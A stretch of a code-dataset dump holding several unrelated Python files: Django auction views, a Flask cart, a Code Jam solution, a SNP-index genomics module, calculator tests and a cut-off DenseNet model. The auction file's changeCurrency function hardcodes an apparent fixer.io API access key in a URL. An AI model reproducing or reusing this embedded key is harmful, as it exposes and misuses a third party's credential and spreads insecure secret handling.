HttpResponse(_(\"You cannot bid on your own auctions\"))\n\n else:\n # Unauthenticated user\n messages.add_message(request, messages.ERROR, \"Unauthenticated user can't bid on an auction\")\n return render(request, \"signin.html\", status=302)\n\n else:\n # GET\n return render(request, \"auction/bid.html\", {'user': request.user,\n \"id\": auction.id,\n \"title\": auction.title,\n \"description\": auction.description,\n \"auctioneer\": auction.auctioneer,\n \"current_price\": auction.current_price}, status=200)\n\n\ndef ban(request, item_id):\n if request.user.is_superuser:\n auction = get_object_or_404(Item, id=item_id)\n auction.status = \"Banned\"\n auction.save()\n\n # Send email to auctioneer\n send_mail(\n 'New Bid',\n 'Your auction is now banned',\n 'admin@yaas.com',\n [User.objects.get(username=auction.auctioneer).email],\n fail_silently=True,\n )\n\n # Send email to last bidder\n send_mail(\n 'Auction banned',\n 'The auction you have bid is now banned',\n 'admin@yaas.com',\n [User.objects.get(username=request.user.username).email],\n fail_silently=True,\n )\n\n messages.add_message(request, messages.INFO, \"Ban successfully\")\n return HttpResponseRedirect(reverse(\"auction:index\"))\n else:\n return HttpResponseRedirect(reverse(\"auction:index\"), status=302)\n\n\ndef resolve(request):\n auctions_active = Item.objects.filter(status=\"Active\").order_by('-created_date')\n # Take the auction out of the Active list\n for auction in auctions_active:\n if auction.deadline_date < timezone.now():\n auction.status = \"Due\"\n auction.save()\n auctions_due = Item.objects.filter(status=\"Due\").order_by('-created_date')\n resolved_auctions = {\"resolved_auctions\": []}\n\n auctioneers = [] # Get all the auctioners who need to be notified\n for auc in auctions_due:\n if auc.auctioneer not in auctioneers:\n auctioneers.append(auc.auctioneer)\n if auc.bidders != \"\":\n auc.status = \"Adjudicated\" # Resolve auction\n auc.save()\n resolved_auctions[\"resolved_auctions\"].append(auc.title)\n\n for bidder in auc.bidders:\n print(\"bidder \" + bidder)\n send_mail( # Notify the bidders\n 'Auction resolved',\n 'The auction you have bid is now resolved',\n 'admin@yaas.com',\n [User.objects.get(username=bidder).email],\n fail_silently=True,\n )\n ### This should be put in\n for auctioneer in auctioneers:\n send_mail( # Notify the auctioneer\n 'Auction resolved',\n 'Your auction has been resolved',\n 'admin@yaas.com',\n [User.objects.get(username=auctioneer).email],\n fail_silently=True,\n )\n\n return HttpResponse(json.dumps(resolved_auctions), content_type=\"application/json\")\n\n\ndef changeLanguage(request, lang_code):\n translation.activate(lang_code)\n request.session[translation.LANGUAGE_SESSION_KEY] = lang_code\n\n if request.user.is_authenticated:\n user_pref = UserPreferences.objects.get(username=request.user)\n\n if lang_code == \"sv\":\n # Save language preferences of an user\n if request.user.is_authenticated:\n user_pref.language_preference = 'sv'\n user_pref.save()\n return HttpResponse(\"Language has been changed to Swedish\")\n\n elif lang_code == \"en\":\n # Save language preferences of an user\n if request.user.is_authenticated:\n user_pref.language_preference = 'en'\n user_pref.save()\n return HttpResponse(\"Language has been changed to English\")\n\n else:\n return HttpResponse(\"Language has been changed to \" + lang_code)\n\n\ndef changeCurrency(request, currency_code):\n response = urllib.request.urlopen('http://data.fixer.io/api/latest?access_key=7754e097679b860dc76b95d83376a3e1')\n html = response.read().decode(\"utf-8\")\n my_dict = json.loads(html)\n currency_code = currency_code.lower() # lower case\n global currency\n\n # Change currency USD\n if currency_code == 'usd':\n currency = my_dict[\"rates\"][\"USD\"]\n return HttpResponse(\"Currency has been changed to USD\")\n # Change currency EUR\n elif currency_code == 'eur':\n currency = 1\n return HttpResponse(\"Currency has been changed to EUR\")\n # Currency by default is EUR\n else:\n currency = 1\n return HttpResponse(\"Currency only changes between EUR and USD, default=EUR\")\n","repo_name":"migue0418/Informatica-UGR","sub_path":"Abo Akademi - Finlandia (Erasmus)/Development of Server-Side Web Services/Yaas Project/auction/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3620074468","text":"import json\nfrom decimal import Decimal\n\nfrom flask import (\n request,\n session,\n Blueprint,\n redirect,\n url_for\n)\nfrom flask_babel import gettext as _\n\nfrom app.database import db\nfrom app.helpers import (\n render_template,\n model_create,\n model_update,\n model_delete,\n log_info,\n toint\n)\nfrom app.helpers.date_time import current_timestamp\nfrom app.helpers.user import (\n check_login,\n get_uid\n)\nfrom app.services.api.order import PayService\nfrom app.services.api.pay_weixin import NativeService\nfrom app.services.api.cart import (\n CartService,\n CheckoutService,\n CartStaticMethodsService\n)\nfrom app.models.item import Goods\n\ncart = Blueprint('pc.cart', __name__)\n\n\n@cart.route('/')\ndef root():\n \"\"\"pc - 我的购物车\"\"\"\n\n uid = get_uid()\n session_id = session.sid\n\n msg = request.args.get('msg', '').strip()\n\n cs = CartService(uid, session_id)\n cs.check()\n\n data = {\n 'msg': msg,\n 'carts': cs.carts,\n 'items_amount': cs.items_amount,\n 'items_quantity': cs.items_quantity,\n 'cart_total': cs.cart_total,\n 'cart_valid_total': cs.cart_valid_total}\n return render_template('pc/cart/index.html.j2', **data)\n\n\n@cart.route('/add')\ndef add():\n \"\"\"成功加入购物车\"\"\"\n args = request.args\n goods_id = toint(args.get('goods_id', '0'))\n quantity = toint(args.get('quantity', '1'))\n goods = Goods.query.get_or_404(goods_id)\n goods_list = db.session.query(\n Goods.goods_id, Goods.goods_name, Goods.goods_img,\n Goods.goods_desc, Goods.goods_price, Goods.sale_count,\n Goods.market_price).\\\n filter(Goods.cat_id == goods.cat_id).\\\n filter(Goods.is_delete == 0).\\\n filter(Goods.is_sale == 1).\\\n filter(Goods.stock_quantity > 0).\\\n filter(Goods.goods_id != goods_id).\\\n order_by(Goods.sale_count.desc()).\\\n order_by(Goods.fav_count.desc()).\\\n order_by(Goods.goods_id.desc()).\\\n limit(20).all()\n return render_template(\n 'pc/cart/add.html.j2',\n goods=goods,\n goods_list=goods_list)\n\n\n@cart.route('/checkout')\ndef checkout():\n \"\"\"确认订单\"\"\"\n\n if not check_login():\n session['weixin_login_url'] = request.url\n return redirect(url_for('api.weixin.login_qrcode'))\n uid = get_uid()\n\n # 结算页面\n ret, msg, data, url = CartStaticMethodsService.checkout_page(uid, 'pc')\n if not ret:\n return redirect(url)\n\n return render_template('pc/cart/checkout.html.j2', **data)\n\n\n@cart.route('/pay/<int:order_id>')\ndef pay(order_id):\n \"\"\"支付订单\"\"\"\n\n if not check_login():\n session['weixin_login_url'] = request.url\n return redirect(url_for('api.weixin.login_qrcode'))\n uid = get_uid()\n\n ret, msg, data, url = CartStaticMethodsService.pay_page(\n order_id, uid, 'pc')\n if not ret:\n return redirect(url)\n\n # 创建支付\n ps = PayService(uid, [order_id])\n if not ps.check():\n return redirect(url_for('pc.order.index', msg=ps.msg))\n\n if not ps.tran:\n ps.create_tran()\n\n tran = ps.tran\n tran_id = tran.tran_id\n subject = u'交易号:%d' % tran_id\n nonce_str = str(tran_id)\n pay_amount = Decimal(tran.pay_amount).quantize(Decimal('0.00'))*100\n\n # 支付二维码\n ns = NativeService(nonce_str, subject, tran_id,\n pay_amount, request.remote_addr)\n if not ns.create_qrcode():\n return redirect(url_for('pc.order.index', msg=ns.msg))\n data['qrcode'] = ns.qrcode\n\n return render_template('pc/cart/pay.html.j2', **data)\n","repo_name":"kapokcloud-inc/theonestore","sub_path":"app/views/pc/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":3607,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"36037611414","text":"__metaclass__ = type\n__all__ = []\n\nfrom lp.answers.karma import assignKarmaUsingQuestionContext\nfrom lp.registry.interfaces.person import IPerson\nfrom lp.services.database.sqlbase import block_implicit_flushes\n\n\n@block_implicit_flushes\ndef question_bug_added(questionbug, event):\n \"\"\"Assign karma to the user which added <questionbug>.\"\"\"\n question = questionbug.question\n assignKarmaUsingQuestionContext(\n IPerson(event.user), question, 'questionlinkedtobug')\n\n","repo_name":"abramhindle/UnnaturalCodeFork","sub_path":"python/testdata/launchpad/lib/lp/coop/answersbugs/karma.py","file_name":"karma.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23583315041","text":"#!/usr/bin/env python3\n\n\"\"\"\nGoogle Code Jam\nRound 1A 2017\nProblem B.\n\"\"\"\n\nimport argparse\n\nclass TestCase:\n def __init__(self, N, R, O, Y, G, B, V):\n self.N = N\n self.R = R\n self.O = O\n self.Y = Y\n self.G = G\n self.B = B\n self.V = V\n def solve(self):\n if self.R + self.B + self.V < self.Y:\n return \"IMPOSSIBLE\"\n if self.R + self.Y + self.O < self.B:\n return \"IMPOSSIBLE\"\n if self.B + self.Y + self.G < self.R:\n return \"IMPOSSIBLE\"\n if self.G > self.R or self.O > self.B or self.V > self.Y:\n return \"IMPOSSIBLE\"\n gs = []\n os = []\n vs = []\n for _ in range(self.G):\n gs.append(\"R\")\n gs.append(\"G\")\n for _ in range(self.O):\n os.append(\"B\")\n os.append(\"O\")\n for _ in range(self.V):\n vs.append(\"Y\")\n vs.append(\"V\")\n self.R -= self.G\n self.B -= self.O\n self.Y -= self.V\n if self.R > 0:\n if len(gs) > 0:\n gs.append(\"R\")\n self.R -= 1\n if self.B > 0:\n if len(os) > 0:\n os.append(\"B\")\n self.B -= 1\n if self.Y > 0:\n if len(vs) > 0:\n vs.append(\"Y\")\n self.Y -= 1\n ls = gs + os + vs\n rgb = []\n while max(self.R, self.B, self.Y) > 0:\n if self.R >= max(self.B, self.Y) and self.R > 0:\n rgb.append(\"R\")\n self.R -= 1\n if self.B >= self.Y and self.B > 0:\n rgb.append(\"B\")\n self.B -= 1\n elif self.Y > 0:\n rgb.append(\"Y\")\n self.Y -= 1\n elif self.B >= max(self.R, self.Y) and self.B > 0:\n rgb.append(\"B\")\n self.B -= 1\n if self.R >= self.Y and self.R > 0:\n rgb.append(\"R\")\n self.R -= 1\n elif self.Y > 0:\n rgb.append(\"Y\")\n self.Y -= 1\n elif self.Y >= max(self.R, self.B) and self.Y > 0:\n rgb.append(\"Y\")\n self.Y -= 1\n if self.R >= self.B and self.R > 0:\n rgb.append(\"R\")\n self.R -= 1\n elif self.B > 0:\n rgb.append(\"B\")\n self.B -= 1\n ss = ls + rgb\n if ss[0] == ss[-1]:\n temp = ss[-2]\n ss[-2] = ss[-1]\n ss[-1] = temp\n return \"\".join(ss)\n\n\ndef read_data(filename):\n \"\"\"Read and parse the input data\"\"\"\n with open(filename) as _file:\n test_cases = []\n num_test_cases = int(_file.readline())\n for _ in range(num_test_cases):\n N, R, O, Y, G, B, V = [int(x) for x in _file.readline().split()]\n test_cases.append(TestCase(N, R, O, Y, G, B, V))\n return num_test_cases, test_cases\n\nif __name__ == \"__main__\":\n PARSER = argparse.ArgumentParser()\n PARSER.add_argument(\"problem\", help=\"problem to solve\")\n PARSER.add_argument(\"--check\", help=\"check if computed output is equal to expected output\", action=\"store_true\")\n PARSER.add_argument(\"--out\", help=\"output result to file\", action=\"store_true\")\n ARGS = PARSER.parse_args()\n NUM_TEST_CASES, TEST_CASES = read_data(ARGS.problem + \".in\")\n if ARGS.check:\n OUTPUT_FILE = open(ARGS.problem + \".out\", \"r\")\n if ARGS.out:\n OUTPUT_FILE = open(ARGS.problem + \".out\", \"w\")\n for it in range(NUM_TEST_CASES):\n test_case = TEST_CASES[it]\n result = \"Case #{}: {}\".format(it + 1, test_case.solve())\n if ARGS.check:\n assert(OUTPUT_FILE.readline().strip() == result)\n elif ARGS.out:\n print(result, file=OUTPUT_FILE)\n else:\n print(result)\n if ARGS.check or ARGS.out:\n OUTPUT_FILE.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_207/441.py","file_name":"441.py","file_ext":"py","file_size_in_byte":3972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"731038683","text":"\nimport os\nimport re\nimport sys\nimport gzip\nimport threading\nfrom multiprocessing import Pool\nfrom multiprocessing import Manager\nlock = threading.Lock()\ncache = Manager().dict()\nimport numpy as np\nimport pandas as pd\nfrom functools import lru_cache\nfrom qtlseq.snpfilt import SnpFilt\nfrom qtlseq.smooth import Smooth\nfrom qtlseq.utils import time_stamp\n\n\nclass Vcf2Index(object):\n\n def __init__(self, args):\n self.out = args.out\n self.vcf = args.vcf\n self.snpEff = args.snpEff\n self.filial = args.filial\n self.species = args.species\n self.N_bulk1 = args.N_bulk1\n self.N_bulk2 = args.N_bulk2\n self.N_replicates = args.N_rep\n self.min_SNPindex = args.min_SNPindex\n self.snp_index = '{}/snp_index.tsv'.format(self.out)\n self.sf = SnpFilt(args)\n self.args = args\n\n if self.snpEff is not None:\n self.ANN_re = re.compile(';ANN=(.*);*')\n\n if self.species is None:\n self.p99_index = int(0.99*self.N_replicates) - 1\n self.p95_index = int(0.95*self.N_replicates) - 1\n else:\n k = self.correct_threshold()\n corr_p99 = 0.01/k\n corr_p95 = 0.05/k\n self.p99_index = int((1 - corr_p99)*self.N_replicates) - 1\n self.p95_index = int((1 - corr_p95)*self.N_replicates) - 1\n\n if int(corr_p99*self.N_replicates) - 1 < 0:\n print(('!!WARNING!! Number of replicates for simulation is not '\n 'enough to consider multiple testing correction. '\n 'Therefore, the highest SNP-index and the second highest '\n 'SNP-index were selected for p99 and p95, respectively.'), \n file=sys.stderr)\n\n self.p99_index = self.N_replicates - 1\n self.p95_index = self.N_replicates - 2\n\n def correct_threshold(self):\n if self.filial == 2:\n l = 8.4\n elif self.filial == 3:\n l = 5.8\n elif self.filial == 4:\n l = 5.0\n else:\n l = 4.5\n\n if self.species == 'Arabidopsis':\n k = 5 + 600/l\n elif self.species == 'Cucumber':\n k = 7 + 1390/l\n elif self.species == 'Maize':\n k = 10 + 2060/l\n elif self.species == 'Rapeseed':\n k = 18 + 2520/l\n elif self.species == 'Rice':\n k = 12 + 1530/l\n elif self.species == 'Tobacco':\n k = 12 + 3270/l\n elif self.species == 'Tomato':\n k = 12 + 1470/l\n elif self.species == 'Wheat':\n k = 21 + 3140/l\n elif self.species == 'Yeast':\n k = 16 + 4900/l\n if self.filial >= 2:\n print('!!WARNING!! Filial generation must be 2 in yeast.', file=sys.stderr)\n\n else:\n print('You specified not supported species.', file=sys.stderr)\n sys.exit(1)\n\n return k\n\n\n def get_field(self):\n root, ext = os.path.splitext(self.vcf)\n if ext == '.gz':\n vcf = gzip.open(self.vcf, 'rt')\n else:\n vcf = open(self.vcf, 'r')\n for line in vcf:\n if re.match(r'[^#]', line):\n fields = line.split()[8].split(':')\n try:\n GT_pos = fields.index('GT')\n except ValueError:\n sys.stderr.write(('{} No GT field'\n ' in your VCF!!\\n').format(time_stamp()))\n sys.exit(1)\n try:\n AD_pos = fields.index('AD')\n except ValueError:\n sys.stderr.write(('{} No AD field'\n ' in your VCF!!\\n').format(time_stamp()))\n sys.exit(1)\n\n if 'ADF' in fields and 'ADR' in fields:\n ADF_pos = fields.index('ADF')\n ADR_pos = fields.index('ADR')\n else:\n ADF_pos = None\n ADR_pos = None\n sys.stderr.write(('{} no ADF or ADR field'\n ' in your VCF.\\n').format(time_stamp()))\n sys.stderr.write(('{} strand bias filter '\n 'will be skipped.\\n').format(time_stamp()))\n break\n vcf.close()\n return GT_pos, AD_pos, ADF_pos, ADR_pos\n\n def get_variant_impact(self, annotation):\n ANN = self.ANN_re.findall(annotation)[0]\n genes = ANN.split(',')\n impacts = [gene.split('|')[2] for gene in genes]\n if 'HIGH' in impacts:\n impact = 'HIGH'\n elif 'MODERATE' in impacts:\n impact = 'MODERATE'\n elif 'LOW' in impacts:\n impact = 'LOW'\n else:\n impact = 'MODIFIER'\n return impact\n\n def check_variant_type(self, REF, ALT):\n if (len(REF) == 1) and (len(ALT) == 1):\n variant = 'snp'\n else:\n variant = 'indel'\n return variant\n\n def check_depth(self, bulk1_depth, bulk2_depth):\n if bulk1_depth < bulk2_depth:\n depth1 = bulk1_depth\n depth2 = bulk2_depth\n else:\n depth1 = bulk2_depth\n depth2 = bulk1_depth\n return depth1, depth2\n\n def Fn_simulation(self, depth1, depth2):\n GT = [0, 1]\n replicates = []\n n = 0\n while n < self.N_replicates:\n bulk1_Fn_GT = np.ones(self.N_bulk1)\n bulk2_Fn_GT = np.ones(self.N_bulk2)\n for _ in range(self.args.filial - 1):\n bulk1_random_gt = np.random.choice([0, 1, 1, 2],\n bulk1_Fn_GT.shape,\n replace=True)\n\n bulk2_random_gt = np.random.choice([0, 1, 1, 2],\n bulk2_Fn_GT.shape,\n replace=True)\n\n bulk1_Fn_GT = np.where(bulk1_Fn_GT==1,\n bulk1_random_gt,\n bulk1_Fn_GT)\n\n bulk2_Fn_GT = np.where(bulk2_Fn_GT==1,\n bulk2_random_gt,\n bulk2_Fn_GT)\n\n bulk1_freq = sum(bulk1_Fn_GT)/(2*self.N_bulk1)\n bulk2_freq = sum(bulk2_Fn_GT)/(2*self.N_bulk2)\n\n bulk1_AD = np.random.choice([0, 1],\n depth1,\n p=[1 - bulk1_freq, bulk1_freq],\n replace=True)\n\n bulk2_AD = np.random.choice([0, 1],\n depth2,\n p=[1 - bulk2_freq, bulk2_freq],\n replace=True)\n\n bulk1_SNPindex = bulk1_AD.sum()/depth1\n bulk2_SNPindex = bulk2_AD.sum()/depth2\n\n if bulk1_SNPindex < self.min_SNPindex and \\\n bulk2_SNPindex < self.min_SNPindex:\n continue\n else:\n delta_SNPindex = bulk2_SNPindex - bulk1_SNPindex\n replicates.append(abs(delta_SNPindex))\n n += 1\n\n replicates.sort()\n p99 = replicates[self.p99_index]\n p95 = replicates[self.p95_index]\n return p99, p95\n\n def calculate_SNPindex_sub(self, line):\n if re.match(r'[^#]', line):\n cols = line.split('\\t')\n CHR = cols[0]\n POS = cols[1]\n REF = cols[3]\n ALT = cols[4]\n annotation = cols[7]\n GT_pos = self.field_pos[0]\n AD_pos = self.field_pos[1]\n ADF_pos = self.field_pos[2]\n ADR_pos = self.field_pos[3]\n\n parent_GT = cols[9].split(':')[GT_pos]\n parent_AD = cols[9].split(':')[AD_pos]\n bulk1_AD = cols[10].split(':')[AD_pos]\n bulk2_AD = cols[11].split(':')[AD_pos]\n\n if ADF_pos != None and ADR_pos != None:\n parent_ADF = cols[9].split(':')[ADF_pos]\n parent_ADR = cols[9].split(':')[ADR_pos]\n ADFR = (parent_ADF, parent_ADR)\n else:\n ADFR = None\n\n record = self.sf.filt(parent_GT, parent_AD, bulk1_AD, bulk2_AD, ADFR)\n if record['type'] == 'keep':\n variant = self.check_variant_type(REF, ALT)\n depth1, depth2 = self.check_depth(record['bulk1_depth'],\n record['bulk2_depth'])\n\n if (depth1, depth2) in cache:\n p99, p95 = cache[(depth1, depth2)]\n else:\n p99, p95 = self.Fn_simulation(depth1, depth2)\n\n cache[(depth1, depth2)] = (p99, p95)\n\n lock.acquire()\n snp_index = open(self.snp_index + \".temp\", 'a')\n if self.snpEff is None:\n snp_index.write(('{}\\t{}\\t{}\\t{}\\t{}\\t{:.4f}\\t{:.4f}\\t'\n '{:.4f}\\t{:.4f}\\t{:.4f}\\n').format(CHR,\n POS,\n variant,\n record['bulk1_depth'],\n record['bulk2_depth'],\n p99,\n p95,\n record['bulk1_SNPindex'],\n record['bulk2_SNPindex'],\n record['delta_SNPindex']))\n else:\n impact = self.get_variant_impact(annotation)\n snp_index.write(('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{:.4f}\\t{:.4f}\\t'\n '{:.4f}\\t{:.4f}\\t{:.4f}\\n').format(CHR,\n POS,\n variant,\n impact,\n record['bulk1_depth'],\n record['bulk2_depth'],\n p99,\n p95,\n record['bulk1_SNPindex'],\n record['bulk2_SNPindex'],\n record['delta_SNPindex']))\n snp_index.close()\n lock.release()\n\n def table_sort(self):\n if self.snpEff is None:\n snp_index = pd.read_csv('{}/snp_index.tsv.temp'.format(self.out),\n sep='\\t',\n names=['CHROM',\n 'POSI',\n 'variant',\n 'bulk1_depth',\n 'bulk2_depth',\n 'p99',\n 'p95',\n 'bulk1_SNPindex',\n 'bulk2_SNPindex',\n 'delta_SNPindex'])\n else:\n snp_index = pd.read_csv('{}/snp_index.tsv.temp'.format(self.out),\n sep='\\t',\n names=['CHROM',\n 'POSI',\n 'variant',\n 'impact',\n 'bulk1_depth',\n 'bulk2_depth',\n 'p99',\n 'p95',\n 'bulk1_SNPindex',\n 'bulk2_SNPindex',\n 'delta_SNPindex'])\n\n snp_index = snp_index.sort_values(by=['CHROM', 'POSI'])\n\n snp_index.to_csv('{}/snp_index.tsv'.format(self.out),\n sep='\\t',\n index=False,\n header=False)\n\n os.remove('{}/snp_index.tsv.temp'.format(self.out))\n\n def calculate_SNPindex(self):\n if os.path.exists('{}/snp_index.tsv.temp'.format(self.out)):\n os.remove('{}/snp_index.tsv.temp'.format(self.out))\n\n root, ext = os.path.splitext(self.vcf)\n if ext == '.gz':\n vcf = gzip.open(self.vcf, 'rt')\n else:\n vcf = open(self.vcf, 'r')\n\n p = Pool(self.args.threads)\n p.map(self.calculate_SNPindex_sub, vcf)\n p.close()\n\n vcf.close()\n\n self.table_sort()\n\n def run(self):\n print(time_stamp(), 'start to calculate SNP-index.', flush=True)\n self.field_pos = self.get_field()\n self.calculate_SNPindex()\n print(time_stamp(), 'SNP-index successfully finished.', flush=True)\n\n print(time_stamp(), 'start to smooth SNP-index.', flush=True)\n sm = Smooth(self.args)\n sm.run()\n print(time_stamp(), 'smoothing process successfully finished.', flush=True)\n","repo_name":"YuSugihara/QTL-seq","sub_path":"qtlseq/vcf2index.py","file_name":"vcf2index.py","file_ext":"py","file_size_in_byte":13893,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"61"} +{"seq_id":"19965706145","text":"while True:\r\n print()\r\n num_1 = input('Digite um numero: ')\r\n operador = input('Digite um operador: ')\r\n num_2 = input('Digite outro numero: ')\r\n sair = input('Deseja sair? sim ou não: ')\r\n\r\n if sair == 'sim':\r\n break\r\n\r\n if not num_1.isnumeric() or not num_2.isnumeric():\r\n print('Você precisa digitar um numero')\r\n continue\r\n\r\n num_1 = int(num_1)\r\n num_2 = int(num_2)\r\n\r\n if operador == '+':\r\n print('Resultado:', num_1 + num_2, )\r\n elif operador == '-':\r\n print('Resultado:', num_1 - num_2, )\r\n elif operador == '/':\r\n print('Resultado:', num_1 / num_2, )\r\n elif operador == '*':\r\n print('Resultado:', num_1 * num_2, )\r\n else:\r\n print('Operador invalido')","repo_name":"guilhermeCAT/Calculadora-basica","sub_path":"Calculadora basica.py","file_name":"Calculadora basica.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72216375555","text":"import pytest\n\nfrom rpn.calc import Calculator\n\n\n@pytest.fixture\ndef calculator():\n return Calculator()\n\n\ndef verify_answer(expected, answer):\n assert expected == answer\n\n\n# simple test case for each function\n@pytest.mark.functest\ndef test_add(calculator):\n answer = calculator.calculate_rpn(\"2 3 +\")\n verify_answer(5, answer)\n\n\n@pytest.mark.functest\ndef test_subtract(calculator):\n answer = calculator.calculate_rpn(\"3 2 -\")\n verify_answer(1, answer)\n\n\n@pytest.mark.functest\ndef test_subtract_negative(calculator):\n answer = calculator.calculate_rpn(\"2 3 -\")\n verify_answer(-1, answer)\n\n\n@pytest.mark.functest\ndef test_multiply(calculator):\n answer = calculator.calculate_rpn(\"2 3 *\")\n verify_answer(6, answer)\n\n\n@pytest.mark.functest\ndef test_divide(calculator):\n answer = calculator.calculate_rpn(\"3 2 /\")\n verify_answer(1, answer)\n\n\n@pytest.mark.functest\ndef test_divide_zero(calculator):\n answer = calculator.calculate_rpn(\"0 2 /\")\n verify_answer(0, answer)\n\n\n@pytest.mark.functest\ndef test_divide_invalid_zero(calculator):\n answer = calculator.calculate_rpn(\"2 0 /\")\n verify_answer(None, answer)\n\n\n@pytest.mark.functest\ndef test_modulo(calculator):\n answer = calculator.calculate_rpn(\"3 2 %\")\n verify_answer(1, answer)\n\n\n@pytest.mark.functest\ndef test_modulo_zero(calculator):\n answer = calculator.calculate_rpn(\"0 2 %\")\n verify_answer(0, answer)\n\n\n@pytest.mark.functest\ndef test_modulo_invalid_zero(calculator):\n answer = calculator.calculate_rpn(\"2 0 %\")\n verify_answer(None, answer)\n\n\n# negative integer test cases\n@pytest.mark.functest\n@pytest.mark.parametrize(\n \"input, expected\",\n [\n (\"2 4 * -8 +\", 0), # valid rpn notation\n (\"2 5 * 4 + -3 2 * -1 + /\", -2), # valid postfix(rpn) notation\n (\"2 15 * 4 + -3 2 * - 45 %\", 40), # valid postfix(rpn) notation\n ],\n)\ndef test_negative_input_calculations(calculator, input, expected):\n answer = calculator.calculate_rpn(input)\n verify_answer(expected, answer)\n\n\n# mix of valid and invald test cases\n@pytest.mark.functest\n@pytest.mark.parametrize(\n \"input, expected\",\n [\n (\"2 4 * 8 +\", 16), # valid rpn notation\n (\"2 4 * 8 + 9\", None), # invalid rpn notation\n (\"2 4 % 8 + 9\", None), # invalid rpn notation\n (\"2 +\", None), # invalid length\n (\"2 + 3\", None), # valid infix notation\n (\"2 + 9 +\", None), # invalid infix notation\n (\"+ 2 3\", None), # valid prefix notation\n (\"+ b 3\", None), # invalid notation\n (\"% 2 a\", None), # invalid notation\n (\"2 4 * o +\", None), # invalid notation\n (\"2 4 * P +\", None), # invalid notation\n (\"2.2 4.8 * P +\", None), # invalid notation\n (\"2.0 4.0 * 8 +\", None), # invalid notation\n ],\n)\ndef test_mix_input_calculations(calculator, input, expected):\n answer = calculator.calculate_rpn(input)\n verify_answer(expected, answer)\n\n\n# complex functions test cases\n@pytest.mark.functest\n@pytest.mark.parametrize(\n \"input, expected\",\n [\n (\"10 6 9 3 + -11 * / * 17 + 5 +\", 22),\n (\"2 5 * 4 + 3 2 * 1 + /\", 2),\n ],\n)\ndef test_complex_input_calculations(calculator, input, expected):\n answer = calculator.calculate_rpn(input)\n verify_answer(expected, answer)\n\n\n# validate input strings test case\n@pytest.mark.inputvaildation\n@pytest.mark.parametrize(\n \"input, expected\",\n [\n (\"2 4 * 8 +\", True), # valid rpn notation\n (\"2 5 * 4 + 3 2 * 1 + /\", True), # valid postfix(rpn) notation\n (\"2 +\", False), # invalid length\n (\"- +\", False), # invalid length\n (\"2 + 3\", True), # valid infix notation\n (\"2 + 9 %\", True), # invalid infix notation\n (\"_ 2 3\", False), # valid prefix notation\n (\"% b 3\", False), # invalid notation\n (\"+ 2 a\", False), # invalid notation\n (\"2 4 * o +\", False), # invalid notation\n (\"2 4 * P +\", False), # invalid notation\n (\"2.2 4.8 * P +\", False), # invalid notation\n (\"2.0 4.0 * 8 +\", False), # invalid notation\n ],\n)\ndef test_is_valid_notation(calculator, input, expected):\n answer = calculator.parse_inputs(input)\n verify_answer(expected, answer)\n","repo_name":"dudeperf3ct/fuzzy-ai","sub_path":"tests/test_calc.py","file_name":"test_calc.py","file_ext":"py","file_size_in_byte":4210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73443757633","text":"import os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.nn.init as init\nfrom torch.autograd import Function\nfrom torchvision import models\nfrom torchvision.models.densenet import _DenseBlock, _Transition\nfrom typing import Tuple\nfrom collections import OrderedDict\n\n\ndef count_parameters(model):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\ndef weights_init_kaiming(m):\n classname = m.__class__.__name__\n if classname.find('Conv2d') != -1:\n init.kaiming_normal_(m.weight.data)\n\ndef fc_init_weights(m):\n if type(m) == nn.Linear:\n init.kaiming_normal_(m.weight.data)\n\n\nclass DenseNet121(nn.Module):\n def __init__(self, n_inputs=12, numCls=17):\n super().__init__()\n\n # densenet = models.densenet121(pretrained=False, memory_efficient=True)\n densenet = models.densenet121(pretrained=False)\n\n self.encoder = nn.Sequential(\n nn.Conv2d(n_inputs, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False),\n *densenet.features[1:])\n\n # classifier\n self.dropout = nn.Dropout()\n self.classifier = nn.Linear(65536, numCls, bias=True)\n\n self.apply(weights_init_kaiming)\n self.apply(fc_init_weights)\n\n def forward(self, x):\n x = self.encoder(x)\n x = x.view(x.size(0), -1)\n x = self.dropout(x)\n logits = self.classifier(x)\n\n return logits\n\n\nclass DenseNetFullDropout(nn.Module):\n r\"\"\"Densenet-BC model class, based on\n `\"Densely Connected Convolutional Networks\" <https://arxiv.org/pdf/1608.06993.pdf>`_.\n\n Args:\n growth_rate (int) - how many filters to add each layer (`k` in paper)\n block_config (list of 4 ints) - how many layers in each pooling block\n num_init_features (int) - the number of filters to learn in the first convolution layer\n bn_size (int) - multiplicative factor for number of bottle neck layers\n (i.e. bn_size * k features in the bottleneck layer)\n drop_rate (float) - dropout rate after each dense layer\n num_classes (int) - number of classification classes\n memory_efficient (bool) - If True, uses checkpointing. Much more memory efficient,\n but slower. Default: *False*. See `\"paper\" <https://arxiv.org/pdf/1707.06990.pdf>`_.\n \"\"\"\n\n def __init__(\n self,\n growth_rate: int = 32,\n block_config: Tuple[int, int, int, int] = (6, 12, 24, 16),\n num_init_features: int = 64,\n bn_size: int = 4,\n drop_rate: float = 0,\n num_classes: int = 1000,\n memory_efficient: bool = False\n ) -> None:\n\n super(DenseNetFullDropout, self).__init__()\n\n # First convolution\n self.features = nn.Sequential(OrderedDict([\n ('conv0', nn.Conv2d(3, num_init_features, kernel_size=7, stride=2,\n padding=3, bias=False)),\n ('norm0', nn.BatchNorm2d(num_init_features)),\n ('relu0', nn.ReLU(inplace=True)),\n ('pool0', nn.MaxPool2d(kernel_size=3, stride=2, padding=1)),\n 